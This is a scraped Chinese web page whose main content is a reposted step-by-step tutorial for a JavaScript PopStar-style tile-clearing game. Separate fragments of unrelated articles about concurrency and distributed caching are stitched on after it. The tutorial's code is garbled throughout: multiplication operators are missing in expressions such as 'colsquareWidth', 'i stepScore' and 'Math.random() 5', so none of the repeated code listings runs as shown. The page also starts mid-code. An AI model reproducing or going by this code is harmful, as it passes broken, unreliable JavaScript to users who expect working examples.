//每次页面内容发生变化需要重绘页面}window.onload = function(){init();} // window.onload 保证了在页面全部加载完毕后再执行JS代码 效果 第二阶段:鼠标选中后,闪烁 只有JavaScript需要修改 var table; //游戏桌面var squareWidth = 50; //方块宽高var boardWidth = 10; //行列数var squareSet = []; //方块信息集合(二维数组)每个元素保存该方块的全部信息var baseScore = 5; //第一块的分数var stepScore = 10; //每多一块的累加分数var totalScore = 0; //当前总分var targetScore = 1500; //目标分var choose = []; //选中的连通小方块var timer = null; //闪烁定时器var flag = true; //锁,防止点击事件中响应其他点击或移入时间var tempSquare = null; //临时方块function refresh(){for (var i = 0; i < squareSet.length; i++) {for (var j = 0; j < squareSet[i].length; j++) {squareSet[i][j].style.background="url(pic/"+squareSet[i][j].num+".png)"squareSet[i][j].style.left=squareSet[i][j].colsquareWidth+"px";squareSet[i][j].style.bottom=squareSet[i][j].rowsquareWidth+"px";} }}function createSquare(value,row,col){ //创建小方块,传入参数为颜色、行、列,初始化时使用。var temp = document.createElement('div'); //创建div dom对象temp.style.height = squareWidth + "px";temp.style.width = squareWidth + "px";temp.style.position = "absolute"; //相对于背景绝对定位temp.num = value;temp.col = col;temp.row = row;return temp; //返回这个创建出来的对象}function goBack(){ //还原样式if(timer != null){ //清空计时器clearInterval(timer);}for(var i = 0 ; i < squareSet.length ; i ++){for(var j = 0 ; j < squareSet[i].length ; j ++){squareSet[i][j].style.border = "0px solid white";squareSet[i][j].style.transform = "scale(0.95)";} }}function checkLinked(square , arr){ // 递归连通图算法arr.push(square); // 将当前方块放入选中数组中// check leftif( square.col > 0 && //未到边界squareSet[square.row][square.col - 1].num == square.num && //颜色相同arr.indexOf(squareSet[square.row][square.col - 1]) == -1) { //不在choose中,避免循环判断checkLinked(squareSet[square.row][square.col - 1] , arr);}// check rightif( square.col < boardWidth - 1 &&squareSet[square.row][square.col + 1].num == square.num &&arr.indexOf(squareSet[square.row][square.col + 1]) == -1) {checkLinked(squareSet[square.row][square.col + 1] , arr);}// check upif( square.row < boardWidth - 1 &&squareSet[square.row + 1][square.col].num == square.num &&arr.indexOf(squareSet[square.row + 1][square.col]) == -1) {checkLinked(squareSet[square.row + 1][square.col] , arr);}// check downif( square.row > 0 &&squareSet[square.row - 1][square.col].num == square.num &&arr.indexOf(squareSet[square.row - 1][square.col]) == -1) {checkLinked(squareSet[square.row - 1][square.col] , arr);} }function flicker(arr){ // 选中连通的小方块可以闪烁var num = 0;timer = setInterval(function(){for(var i = 0 ; i < arr.length ; i ++){arr[i].style.border = "3px solid BFEFFF";//有个框arr[i].style.transform = "scale(" + (0.9 + (0.05 Math.pow(-1 , num))) + ")";//一闪一闪}num ++; // 注意这里所采用的数学技巧,仍然使用transform:scale(val)来进行缩放。},300);//闪烁的时间}function mouseOver(obj){ //鼠标移入区域响应// 还原所有样式goBack();// 检查相邻choose = [];checkLinked(obj , choose);// 闪烁flicker(choose);// 显示分数selectScore();}function init(){ // JS调用入口table = document.getElementById('pop_star'); // 获取到最外层的父元素作为桌面document.getElementById('targetScore').innerHTML = "Target Score : " + targetScore; //显示目标分数用innerHTML// 循环初始化星星区域for(var i = 0 ; i < boardWidth ; i ++){squareSet[i] = new Array(); //二维数组的创建,对每一个元素new Array()创建新数组for(var j = 0 ; j < boardWidth ; j ++){var square = createSquare(Math.floor(Math.random() 5) , i , j);// 鼠标移入事件square.onmouseover = function(){mouseOver(this);}squareSet[i][j] = square; //必须将新创建的方块放回到数组中table.appendChild(square); //需要将创建的新元素添加到桌面上} }refresh(); //每次页面内容发生变化需要重绘页面}window.onload = function(){init();} // window.onload 保证了在页面全部加载完毕后再执行JS代码 效果2.1 加入这段代码,便会计算闪烁方块得分 function selectScore(){ //可以显示当前选中小方块的得分var score = 0;for(var i = 0 ; i < choose.length ; i ++){score += (baseScore + i stepScore);}document.getElementById('selectScore').innerHTML = choose.length + " blocks " + score + " points";document.getElementById('selectScore').style.opacity = 1;// 设置时间间隔1秒后显示消失的过渡动画setTimeout(function(){document.getElementById('selectScore').style.opacity = 0;document.getElementById('selectScore').style.transition = "opacity 1s";},1000);} 完整代码为: var table; //游戏桌面var squareWidth = 50; //方块宽高var boardWidth = 10; //行列数var squareSet = []; //方块信息集合(二维数组)每个元素保存该方块的全部信息var baseScore = 5; //第一块的分数var stepScore = 10; //每多一块的累加分数var totalScore = 0; //当前总分var targetScore = 1500; //目标分var choose = []; //选中的连通小方块var timer = null; //闪烁定时器var flag = true; //锁,防止点击事件中响应其他点击或移入时间var tempSquare = null; //临时方块function refresh(){for (var i = 0; i < squareSet.length; i++) {for (var j = 0; j < squareSet[i].length; j++) {squareSet[i][j].style.background="url(pic/"+squareSet[i][j].num+".png)"squareSet[i][j].style.left=squareSet[i][j].colsquareWidth+"px";squareSet[i][j].style.bottom=squareSet[i][j].rowsquareWidth+"px";} }}function createSquare(value,row,col){ //创建小方块,传入参数为颜色、行、列,初始化时使用。var temp = document.createElement('div'); //创建div dom对象temp.style.height = squareWidth + "px";temp.style.width = squareWidth + "px";temp.style.position = "absolute"; //相对于背景绝对定位temp.num = value;temp.col = col;temp.row = row;return temp; //返回这个创建出来的对象}function goBack(){ //还原样式if(timer != null){ //清空计时器clearInterval(timer);}for(var i = 0 ; i < squareSet.length ; i ++){for(var j = 0 ; j < squareSet[i].length ; j ++){squareSet[i][j].style.border = "0px solid white";squareSet[i][j].style.transform = "scale(0.95)";} }}function checkLinked(square , arr){ // 递归连通图算法arr.push(square); // 将当前方块放入选中数组中// check leftif( square.col > 0 && //未到边界squareSet[square.row][square.col - 1].num == square.num && //颜色相同arr.indexOf(squareSet[square.row][square.col - 1]) == -1) { //不在choose中,避免循环判断checkLinked(squareSet[square.row][square.col - 1] , arr);}// check rightif( square.col < boardWidth - 1 &&squareSet[square.row][square.col + 1].num == square.num &&arr.indexOf(squareSet[square.row][square.col + 1]) == -1) {checkLinked(squareSet[square.row][square.col + 1] , arr);}// check upif( square.row < boardWidth - 1 &&squareSet[square.row + 1][square.col].num == square.num &&arr.indexOf(squareSet[square.row + 1][square.col]) == -1) {checkLinked(squareSet[square.row + 1][square.col] , arr);}// check downif( square.row > 0 &&squareSet[square.row - 1][square.col].num == square.num &&arr.indexOf(squareSet[square.row - 1][square.col]) == -1) {checkLinked(squareSet[square.row - 1][square.col] , arr);} }function flicker(arr){ // 选中连通的小方块可以闪烁var num = 0;timer = setInterval(function(){for(var i = 0 ; i < arr.length ; i ++){arr[i].style.border = "3px solid BFEFFF";//有个框arr[i].style.transform = "scale(" + (0.9 + (0.05 Math.pow(-1 , num))) + ")";//一闪一闪}num ++; // 注意这里所采用的数学技巧,仍然使用transform:scale(val)来进行缩放。},300);//闪烁的时间}function selectScore(){ //可以显示当前选中小方块的得分var score = 0;for(var i = 0 ; i < choose.length ; i ++){score += (baseScore + i stepScore);}document.getElementById('selectScore').innerHTML = choose.length + " blocks " + score + " points";document.getElementById('selectScore').style.opacity = 1;// 设置时间间隔1秒后显示消失的过渡动画setTimeout(function(){document.getElementById('selectScore').style.opacity = 0;document.getElementById('selectScore').style.transition = "opacity 1s";},1000);}function mouseOver(obj){ //鼠标移入区域响应// 还原所有样式goBack();// 检查相邻choose = [];checkLinked(obj , choose);// 闪烁flicker(choose);// 显示分数selectScore();}function init(){ // JS调用入口table = document.getElementById('pop_star'); // 获取到最外层的父元素作为桌面document.getElementById('targetScore').innerHTML = "Target Score : " + targetScore; //显示目标分数用innerHTML// 循环初始化星星区域for(var i = 0 ; i < boardWidth ; i ++){squareSet[i] = new Array(); //二维数组的创建,对每一个元素new Array()创建新数组for(var j = 0 ; j < boardWidth ; j ++){var square = createSquare(Math.floor(Math.random() 5) , i , j);// 鼠标移入事件square.onmouseover = function(){mouseOver(this);}squareSet[i][j] = square; //必须将新创建的方块放回到数组中table.appendChild(square); //需要将创建的新元素添加到桌面上} }refresh(); //每次页面内容发生变化需要重绘页面}window.onload = function(){init();} // window.onload 保证了在页面全部加载完毕后再执行JS代码 效果2.2 第三阶段:消灭星星(只消灭一次) 只消除选中的星星,但是不会掉下来。 在function init(){}里面添加以下代码: // 鼠标点击事件square.onclick = function(){//为移除增加一个延迟动画,为了防止闭包,这里采用立即执行函数for(var i = 0 ; i < choose.length ; i ++){(function(i){setTimeout(function(){squareSet[choose[i].row][choose[i].col] = null; //为状态数组置空table.removeChild(choose[i]); //将其从桌面上移除} , i 100);})(i);} } 效果 使得星星移动(原作者这里出现错误) function move(){//纵向下落,采用快慢指针算法for(var i = 0 ; i < boardWidth ; i ++){var pointer = 0; //慢指针for(var j = 0 ; j < boardWidth ; j ++){if(squareSet[j][i] != null){ //按行遍历if(pointer != j){ //快慢指针不同步说明中间有空元素squareSet[pointer][i] = squareSet[j][i]; //慢指针设成快指针元素squareSet[j][i].row = pointer;squareSet[j][i] = null; //快指针处置空}pointer ++; //该行非空时慢指针增加} }} 完整代码如下: var table; //游戏桌面var squareWidth = 50; //方块宽高var boardWidth = 10; //行列数var squareSet = []; //方块信息集合(二维数组)每个元素保存该方块的全部信息var baseScore = 5; //第一块的分数var stepScore = 10; //每多一块的累加分数var totalScore = 0; //当前总分var targetScore = 1500; //目标分var choose = []; //选中的连通小方块var timer = null; //闪烁定时器var flag = true; //锁,防止点击事件中响应其他点击或移入时间var tempSquare = null; //临时方块function refresh(){for (var i = 0; i < squareSet.length; i++) {for (var j = 0; j < squareSet[i].length; j++) {squareSet[i][j].style.background="url(pic/"+squareSet[i][j].num+".png)"squareSet[i][j].style.left=squareSet[i][j].colsquareWidth+"px";squareSet[i][j].style.bottom=squareSet[i][j].rowsquareWidth+"px";} }}function createSquare(value,row,col){ //创建小方块,传入参数为颜色、行、列,初始化时使用。var temp = document.createElement('div'); //创建div dom对象temp.style.height = squareWidth + "px";temp.style.width = squareWidth + "px";temp.style.position = "absolute"; //相对于背景绝对定位temp.num = value;temp.col = col;temp.row = row;return temp; //返回这个创建出来的对象}function goBack(){ //还原样式if(timer != null){ //清空计时器clearInterval(timer);}for(var i = 0 ; i < squareSet.length ; i ++){for(var j = 0 ; j < squareSet[i].length ; j ++){squareSet[i][j].style.border = "0px solid white";squareSet[i][j].style.transform = "scale(0.95)";} }}function checkLinked(square , arr){ // 递归连通图算法arr.push(square); // 将当前方块放入选中数组中// check leftif( square.col > 0 && //未到边界squareSet[square.row][square.col - 1].num == square.num && //颜色相同arr.indexOf(squareSet[square.row][square.col - 1]) == -1) { //不在choose中,避免循环判断checkLinked(squareSet[square.row][square.col - 1] , arr);}// check rightif( square.col < boardWidth - 1 &&squareSet[square.row][square.col + 1].num == square.num &&arr.indexOf(squareSet[square.row][square.col + 1]) == -1) {checkLinked(squareSet[square.row][square.col + 1] , arr);}// check upif( square.row < boardWidth - 1 &&squareSet[square.row + 1][square.col].num == square.num &&arr.indexOf(squareSet[square.row + 1][square.col]) == -1) {checkLinked(squareSet[square.row + 1][square.col] , arr);}// check downif( square.row > 0 &&squareSet[square.row - 1][square.col].num == square.num &&arr.indexOf(squareSet[square.row - 1][square.col]) == -1) {checkLinked(squareSet[square.row - 1][square.col] , arr);} }function flicker(arr){ // 选中连通的小方块可以闪烁var num = 0;timer = setInterval(function(){for(var i = 0 ; i < arr.length ; i ++){arr[i].style.border = "3px solid BFEFFF";//有个框arr[i].style.transform = "scale(" + (0.9 + (0.05 Math.pow(-1 , num))) + ")";//一闪一闪}num ++; // 注意这里所采用的数学技巧,仍然使用transform:scale(val)来进行缩放。},300);//闪烁的时间}function selectScore(){ //可以显示当前选中小方块的得分var score = 0;for(var i = 0 ; i < choose.length ; i ++){score += (baseScore + i stepScore);}document.getElementById('selectScore').innerHTML = choose.length + " blocks " + score + " points";document.getElementById('selectScore').style.opacity = 1;// 设置时间间隔1秒后显示消失的过渡动画setTimeout(function(){document.getElementById('selectScore').style.opacity = 0;document.getElementById('selectScore').style.transition = "opacity 1s";},1000);}function mouseOver(obj){ //鼠标移入区域响应// 还原所有样式goBack();// 检查相邻choose = [];checkLinked(obj , choose);// 闪烁flicker(choose);// 显示分数selectScore();}function move(){//纵向下落,采用快慢指针算法for(var i = 0 ; i < boardWidth ; i ++){var pointer = 0; //慢指针for(var j = 0 ; j < boardWidth ; j ++){if(squareSet[j][i] != null){ //按行遍历if(pointer != j){ //快慢指针不同步说明中间有空元素squareSet[pointer][i] = squareSet[j][i]; //慢指针设成快指针元素squareSet[j][i].row = pointer;squareSet[j][i] = null; //快指针处置空}pointer ++; //该行非空时慢指针增加} }}// 横向移动(当出现一列为空时)for(var i = 0 ; i < squareSet[0].length ;){ //必须注意循环结束条件的判断if(squareSet[0][i] == null){ //逻辑:只需判断最低层为空,该行则全为空for(var j = 0 ; j < boardWidth ; j ++){squareSet[j].splice(i , 1); //splice删除数组squareSet[j]中从i开始的1个元素}continue;//注意移动后i不应改变了}i ++;}refresh();}function init(){ // JS调用入口table = document.getElementById('pop_star'); // 获取到最外层的父元素作为桌面document.getElementById('targetScore').innerHTML = "Target Score : " + targetScore; //显示目标分数用innerHTML// 循环初始化星星区域for(var i = 0 ; i < boardWidth ; i ++){squareSet[i] = new Array(); //二维数组的创建,对每一个元素new Array()创建新数组for(var j = 0 ; j < boardWidth ; j ++){var square = createSquare(Math.floor(Math.random() 5) , i , j);// 鼠标移入事件square.onmouseover = function(){mouseOver(this);}// 鼠标点击事件square.onclick = function(){//对锁进行控制if(!flag || choose.length == null){return;}flag = false;tempSquare = null;//更新分数var score = 0;for(var i = 0 ; i < choose.length ; i ++){score += (baseScore + i stepScore);}totalScore += score;document.getElementById('nowScore').innerHTML = "Current Score : " + totalScore;//为移除增加一个延迟动画,为了防止闭包,这里采用立即执行函数for(var i = 0 ; i < choose.length ; i ++){(function(i){setTimeout(function(){squareSet[choose[i].row][choose[i].col] = null; //为状态数组置空table.removeChild(choose[i]); //将其从桌面上移除} , i 100);})(i);}//需要等星星消除完毕后再移动,故需增加一个延迟setTimeout(function(){move(); //调用移动函数},choose.length 100);}squareSet[i][j] = square; //必须将新创建的方块放回到数组中table.appendChild(square); //需要将创建的新元素添加到桌面上} }refresh(); //每次页面内容发生变化需要重绘页面}window.onload = function(){init();} // window.onload 保证了在页面全部加载完毕后再执行JS代码 效果(下降成功,但是有点小bug只有部分下降了) 解决方案:只需要在function refresh(){}的双循环里面增加以下代码: if(squareSet[i][j] == null) continue; 完整代码如下: var table; //游戏桌面var squareWidth = 50; //方块宽高var boardWidth = 10; //行列数var squareSet = []; //方块信息集合(二维数组)每个元素保存该方块的全部信息var baseScore = 5; //第一块的分数var stepScore = 10; //每多一块的累加分数var totalScore = 0; //当前总分var targetScore = 1500; //目标分var choose = []; //选中的连通小方块var timer = null; //闪烁定时器var flag = true; //锁,防止点击事件中响应其他点击或移入时间var tempSquare = null; //临时方块function refresh(){for (var i = 0; i < squareSet.length; i++) {for (var j = 0; j < squareSet[i].length; j++) {if(squareSet[i][j] == null) continue; // 点击后数组中可能有空值需要跳过squareSet[i][j].style.background="url(pic/"+squareSet[i][j].num+".png)"squareSet[i][j].style.left=squareSet[i][j].colsquareWidth+"px";squareSet[i][j].style.bottom=squareSet[i][j].rowsquareWidth+"px";} }}function createSquare(value,row,col){ //创建小方块,传入参数为颜色、行、列,初始化时使用。var temp = document.createElement('div'); //创建div dom对象temp.style.height = squareWidth + "px";temp.style.width = squareWidth + "px";temp.style.position = "absolute"; //相对于背景绝对定位temp.num = value;temp.col = col;temp.row = row;return temp; //返回这个创建出来的对象}function goBack(){ //还原样式if(timer != null){ //清空计时器clearInterval(timer);}for(var i = 0 ; i < squareSet.length ; i ++){for(var j = 0 ; j < squareSet[i].length ; j ++){squareSet[i][j].style.border = "0px solid white";squareSet[i][j].style.transform = "scale(0.95)";} }}function checkLinked(square , arr){ // 递归连通图算法arr.push(square); // 将当前方块放入选中数组中// check leftif( square.col > 0 && //未到边界squareSet[square.row][square.col - 1].num == square.num && //颜色相同arr.indexOf(squareSet[square.row][square.col - 1]) == -1) { //不在choose中,避免循环判断checkLinked(squareSet[square.row][square.col - 1] , arr);}// check rightif( square.col < boardWidth - 1 &&squareSet[square.row][square.col + 1].num == square.num &&arr.indexOf(squareSet[square.row][square.col + 1]) == -1) {checkLinked(squareSet[square.row][square.col + 1] , arr);}// check upif( square.row < boardWidth - 1 &&squareSet[square.row + 1][square.col].num == square.num &&arr.indexOf(squareSet[square.row + 1][square.col]) == -1) {checkLinked(squareSet[square.row + 1][square.col] , arr);}// check downif( square.row > 0 &&squareSet[square.row - 1][square.col].num == square.num &&arr.indexOf(squareSet[square.row - 1][square.col]) == -1) {checkLinked(squareSet[square.row - 1][square.col] , arr);} }function flicker(arr){ // 选中连通的小方块可以闪烁var num = 0;timer = setInterval(function(){for(var i = 0 ; i < arr.length ; i ++){arr[i].style.border = "3px solid BFEFFF";//有个框arr[i].style.transform = "scale(" + (0.9 + (0.05 Math.pow(-1 , num))) + ")";//一闪一闪}num ++; // 注意这里所采用的数学技巧,仍然使用transform:scale(val)来进行缩放。},300);//闪烁的时间}function selectScore(){ //可以显示当前选中小方块的得分var score = 0;for(var i = 0 ; i < choose.length ; i ++){score += (baseScore + i stepScore);}document.getElementById('selectScore').innerHTML = choose.length + " blocks " + score + " points";document.getElementById('selectScore').style.opacity = 1;// 设置时间间隔1秒后显示消失的过渡动画setTimeout(function(){document.getElementById('selectScore').style.opacity = 0;document.getElementById('selectScore').style.transition = "opacity 1s";},1000);}function mouseOver(obj){ //鼠标移入区域响应// 还原所有样式goBack();// 检查相邻choose = [];checkLinked(obj , choose);// 闪烁flicker(choose);// 显示分数selectScore();}function move(){//纵向下落,采用快慢指针算法for(var i = 0 ; i < boardWidth ; i ++){var pointer = 0; //慢指针for(var j = 0 ; j < boardWidth ; j ++){if(squareSet[j][i] != null){ //按行遍历if(pointer != j){ //快慢指针不同步说明中间有空元素squareSet[pointer][i] = squareSet[j][i]; //慢指针设成快指针元素squareSet[j][i].row = pointer;squareSet[j][i] = null; //快指针处置空}pointer ++; //该行非空时慢指针增加} }}// 横向移动(当出现一列为空时)for(var i = 0 ; i < squareSet[0].length ;){ //必须注意循环结束条件的判断if(squareSet[0][i] == null){ //逻辑:只需判断最低层为空,该行则全为空for(var j = 0 ; j < boardWidth ; j ++){squareSet[j].splice(i , 1); //splice删除数组squareSet[j]中从i开始的1个元素}continue;//注意移动后i不应改变了}i ++;}refresh();}function init(){ // JS调用入口table = document.getElementById('pop_star'); // 获取到最外层的父元素作为桌面document.getElementById('targetScore').innerHTML = "Target Score : " + targetScore; //显示目标分数用innerHTML// 循环初始化星星区域for(var i = 0 ; i < boardWidth ; i ++){squareSet[i] = new Array(); //二维数组的创建,对每一个元素new Array()创建新数组for(var j = 0 ; j < boardWidth ; j ++){var square = createSquare(Math.floor(Math.random() 5) , i , j);// 鼠标移入事件square.onmouseover = function(){mouseOver(this);}// 鼠标点击事件square.onclick = function(){//对锁进行控制if(!flag || choose.length == null){return;}flag = false;tempSquare = null;//更新分数var score = 0;for(var i = 0 ; i < choose.length ; i ++){score += (baseScore + i stepScore);}totalScore += score;document.getElementById('nowScore').innerHTML = "Current Score : " + totalScore;//为移除增加一个延迟动画,为了防止闭包,这里采用立即执行函数for(var i = 0 ; i < choose.length ; i ++){(function(i){setTimeout(function(){squareSet[choose[i].row][choose[i].col] = null; //为状态数组置空table.removeChild(choose[i]); //将其从桌面上移除} , i 100);})(i);}//需要等星星消除完毕后再移动,故需增加一个延迟setTimeout(function(){move(); //调用移动函数},choose.length 100);}squareSet[i][j] = square; //必须将新创建的方块放回到数组中table.appendChild(square); //需要将创建的新元素添加到桌面上} }refresh(); //每次页面内容发生变化需要重绘页面}window.onload = function(){init();} // window.onload 保证了在页面全部加载完毕后再执行JS代码 第四阶段:消灭全部星星,返回结果 最终完整版代码如下: var table; //游戏桌面var squareWidth = 50; //方块宽高var boardWidth = 10; //行列数var squareSet = []; //方块信息集合(二维数组)每个元素保存该方块的全部信息var baseScore = 5; //第一块的分数var stepScore = 10; //每多一块的累加分数var totalScore = 0; //当前总分var targetScore = 1500; //目标分var choose = []; //选中的连通小方块var timer = null; //闪烁定时器var flag = true; //锁,防止点击事件中响应其他点击或移入时间var tempSquare = null; //临时方块function refresh(){ //重绘画板,每次鼠标点击后刷新for(var i = 0 ; i < squareSet.length ; i ++){for(var j = 0 ; j < squareSet[i].length ; j ++){if(squareSet[i][j] == null) continue; // 点击后数组中可能有空值需要跳过squareSet[i][j].row = i; //更新当前的行列数squareSet[i][j].col = j;squareSet[i][j].style.backgroundImage = "url(./pic/" + squareSet[i][j].num + ".png)"squareSet[i][j].style.backgroundSize = "cover"; //占满范围squareSet[i][j].style.transform = "scale(0.95)"; //美观效果让不同星星之间留出空隙(缩小至0.95倍大小)squareSet[i][j].style.left = squareSet[i][j].col squareWidth + "px"; // 别忘了加"px"squareSet[i][j].style.bottom = squareSet[i][j].row squareWidth + "px";squareSet[i][j].style.transition = "left 0.3s, bottom 0.3s";} }}function createSquare(value,row,col){ //创建小方块,传入参数为颜色、行、列,初始化时使用。var temp = document.createElement('div'); //创建div dom对象temp.style.height = squareWidth + "px";temp.style.width = squareWidth + "px";temp.style.display = "inline-block"; //需要让对象元素能排列一排temp.style.position = "absolute"; //相对于背景绝对定位temp.style.boxSizing = "border-box"; //重要:不会使增加的边框溢出覆盖到旁边的元素temp.style.borderRadius = "12px";temp.num = value;temp.col = col;temp.row = row;return temp; //返回这个创建出来的对象}function goBack(){ //还原样式if(timer != null){ //清空计时器clearInterval(timer);}for(var i = 0 ; i < squareSet.length ; i ++){for(var j = 0 ; j < squareSet[i].length ; j ++){if(squareSet[i][j] == null) continue;squareSet[i][j].style.border = "0px solid white";squareSet[i][j].style.transform = "scale(0.95)";} }}function checkLinked(square , arr){ // 递归连通图算法if(square == null) return; // 递归边界arr.push(square); // 将当前方块放入选中数组中// check leftif( square.col > 0 && //未到边界squareSet[square.row][square.col - 1] && //左侧有块squareSet[square.row][square.col - 1].num == square.num && //颜色相同arr.indexOf(squareSet[square.row][square.col - 1]) == -1) { //不在choose中,避免循环判断checkLinked(squareSet[square.row][square.col - 1] , arr);}// check rightif( square.col < boardWidth - 1 &&squareSet[square.row][square.col + 1] &&squareSet[square.row][square.col + 1].num == square.num &&arr.indexOf(squareSet[square.row][square.col + 1]) == -1) {checkLinked(squareSet[square.row][square.col + 1] , arr);}// check upif( square.row < boardWidth - 1 &&squareSet[square.row + 1][square.col] &&squareSet[square.row + 1][square.col].num == square.num &&arr.indexOf(squareSet[square.row + 1][square.col]) == -1) {checkLinked(squareSet[square.row + 1][square.col] , arr);}// check downif( square.row > 0 &&squareSet[square.row - 1][square.col] &&squareSet[square.row - 1][square.col].num == square.num &&arr.indexOf(squareSet[square.row - 1][square.col]) == -1) {checkLinked(squareSet[square.row - 1][square.col] , arr);} }function flicker(arr){ // 选中连通的小方块可以闪烁var num = 0;timer = setInterval(function(){for(var i = 0 ; i < arr.length ; i ++){arr[i].style.border = "3px solid BFEFFF";arr[i].style.transform = "scale(" + (0.9 + (0.05 Math.pow(-1 , num))) + ")";}num ++; // 注意这里所采用的数学技巧,仍然使用transform:scale(val)来进行缩放。},300);}function selectScore(){ //可以显示当前选中小方块的得分var score = 0;for(var i = 0 ; i < choose.length ; i ++){score += (baseScore + i stepScore);}if(score == 0) return;document.getElementById('selectScore').innerHTML = choose.length + " blocks " + score + " points";document.getElementById('selectScore').style.opacity = 1;document.getElementById('selectScore').style.transition = null;// 设置时间间隔1秒后显示消失的过渡动画setTimeout(function(){document.getElementById('selectScore').style.opacity = 0;document.getElementById('selectScore').style.transition = "opacity 1s";},1000);}function mouseOver(obj){ //鼠标移入区域响应// 加锁,点击事件过程中不允许其他点击事件与移入事件if(!flag){tempSquare = obj;return;}// 还原所有样式goBack();// 检查相邻choose = [];checkLinked(obj , choose);if(choose.length <= 1){choose = [];return;}// 闪烁flicker(choose);// 显示分数selectScore();}function move(){ //下落移动控制//纵向下落,采用快慢指针算法for(var i = 0 ; i < boardWidth ; i ++){var pointer = 0; //慢指针for(var j = 0 ; j < boardWidth ; j ++){if(squareSet[j][i] != null){ //按行遍历if(pointer != j){ //快慢指针不同步说明中间有空元素squareSet[pointer][i] = squareSet[j][i]; //慢指针设成快指针元素squareSet[j][i].row = pointer;squareSet[j][i] = null; //快指针处置空}pointer ++; //该行非空时慢指针增加} }}// 横向移动(当出现一列为空时)for(var i = 0 ; i < squareSet[0].length ;){ // 注意循环终止条件的判断!!!因为数组长度会更新if(squareSet[0][i] == null){ //逻辑:只需判断最低层为空,该行则全为空for(var j = 0 ; j < boardWidth ; j ++){squareSet[j].splice(i , 1); //splice删除数组squareSet[j]中从i开始的1个元素}continue;//注意移动后i不应改变了}i ++;}refresh();}function isFinish(){ //判断游戏结束flag = true; //重要:需要先解锁,保证后续鼠标事件可以被响应for(var i = 0 ; i < squareSet.length ; i ++){for(var j = 0 ; j < squareSet[i].length ; j ++){if(squareSet[i][j] == null) continue; //遍历每一元素判断连通var temp = [];checkLinked(squareSet[i][j] , temp);if(temp.length > 1) return false; //若有某一元素仍有多块连通,则游戏未结束} }return flag;}function init(){ // JS调用入口table = document.getElementById('pop_star'); // 获取到最外层的父元素作为桌面document.getElementById('targetScore').innerHTML = "Target Score : " + targetScore; //显示目标分数用innerHTML// 循环初始化星星区域for(var i = 0 ; i < boardWidth ; i ++){squareSet[i] = new Array(); //二维数组的创建,对每一个元素new Array()创建新数组for(var j = 0 ; j < boardWidth ; j ++){var square = createSquare(Math.floor(Math.random() 5) , i , j);// 鼠标移入事件square.onmouseover = function(){mouseOver(this);}// 鼠标点击事件square.onclick = function(){//对锁进行控制if(!flag || choose.length == null){return;}flag = false;tempSquare = null;//更新分数var score = 0;for(var i = 0 ; i < choose.length ; i ++){score += (baseScore + i stepScore);}totalScore += score;document.getElementById('nowScore').innerHTML = "Current Score : " + totalScore;//为移除增加一个延迟动画,为了防止闭包,这里采用立即执行函数for(var i = 0 ; i < choose.length ; i ++){(function(i){setTimeout(function(){squareSet[choose[i].row][choose[i].col] = null; //为状态数组置空table.removeChild(choose[i]); //将其从桌面上移除} , i 50);})(i);}//需要等星星消除完毕后再移动,故需增加一个延迟setTimeout(function(){move(); //调用移动函数setTimeout(function(){var judge = isFinish();if(judge){ //游戏达到结束条件if(totalScore > targetScore){alert('Congratulations! You win!');}else{alert('Mission Failed!');} }else{flag = true;choose = [];mouseOver(tempSquare); //处理可能存在的冲突} },300 + choose.length 75); //需要一个判断延迟},choose.length 50);}squareSet[i][j] = square; //必须将新创建的方块放回到数组中table.appendChild(square); //需要将创建的新元素添加到桌面上} }refresh(); //每次页面内容发生变化需要重绘页面}window.onload = function(){init();} // window.onload 保证了在页面全部加载完毕后再执行JS代码 效果 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_56471396/article/details/128681321。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-06-08 15:26:34
516
转载
Ruby
...虚拟化技术,旨在为无服务器计算提供更高的性能和安全性。这项技术利用轻量级虚拟化容器来运行多个任务,极大地提高了资源利用率。然而,这种高度并发的环境也带来了新的挑战,比如如何确保不同任务之间的数据隔离性和一致性。 在国内,阿里巴巴集团也在积极布局并发编程相关的技术研究。阿里云推出了基于Go语言的高性能微服务框架“MOSN”,该框架支持大规模分布式系统的构建,特别适合处理高并发场景下的请求分发和负载均衡。MOSN的设计理念强调模块化和可扩展性,使得开发者能够轻松应对复杂的业务逻辑。不过,随着越来越多的企业采用类似的架构,如何有效管理线程池大小、避免死锁等问题成为了新的关注焦点。 此外,近期一篇发表在《ACM Transactions on Programming Languages and Systems》上的论文引起了广泛关注。这篇论文探讨了现代编程语言在并发模型设计上的差异,并提出了一种新型的“乐观并发控制”算法。该算法通过预测线程间的冲突概率,动态调整同步策略,从而在一定程度上减少了锁的使用频率。这一方法不仅提升了程序的执行效率,还降低了开发者的维护成本。 从哲学角度来看,无论是技术层面还是理论层面,人类对于并发编程的追求始终未曾停歇。正如古希腊哲学家赫拉克利特所言:“人不能两次踏进同一条河流。”同样,在并发编程的世界里,每一次尝试都是一次全新的探索,而每一次成功都离不开对失败教训的深刻反思。未来,随着量子计算等前沿科技的发展,我们或许将迎来一场关于并发编程范式的革命,而这无疑将为软件工程领域带来前所未有的机遇与挑战。
2025-04-25 16:14:17
32
凌波微步
Spark
...rator(DAX)服务,这是一种托管的缓存解决方案,专为高吞吐量、低延迟的数据库查询设计。DAX能够将响应时间缩短至毫秒级别,这对于实时数据分析和大规模用户交互场景至关重要。这一举措不仅展示了云服务商在提升数据处理效率上的持续投入,也为开发者提供了更多灵活的选择。 与此同时,国内互联网巨头阿里巴巴也宣布对其自主研发的Tair缓存系统进行全面升级。新版Tair支持更高的并发能力,并引入了更先进的冷热数据分离机制,大幅降低了内存占用率。这一改进尤其适用于电商促销活动期间的流量洪峰场景,有效缓解了服务器的压力。 此外,学术界对于分布式缓存的研究也在不断深入。一篇发表于《IEEE Transactions on Parallel and Distributed Systems》的论文提出了一种基于机器学习的缓存预取算法,可以根据历史访问模式预测未来的请求热点,从而提前将数据加载到缓存中。这种方法理论上可以进一步降低查询延迟,但实际部署仍面临模型训练成本高昂等问题。 值得注意的是,尽管分布式缓存带来了诸多便利,但它并非没有挑战。隐私保护、数据一致性以及跨地域同步等问题仍然是业界亟待解决的难题。随着GDPR等法规的出台,企业在使用缓存技术时还需格外注意合规性,确保用户数据的安全与合法使用。在未来,我们或许可以看到更多结合区块链技术的去中心化缓存解决方案,为用户提供更加透明和安全的服务体验。
2025-05-02 15:46:14
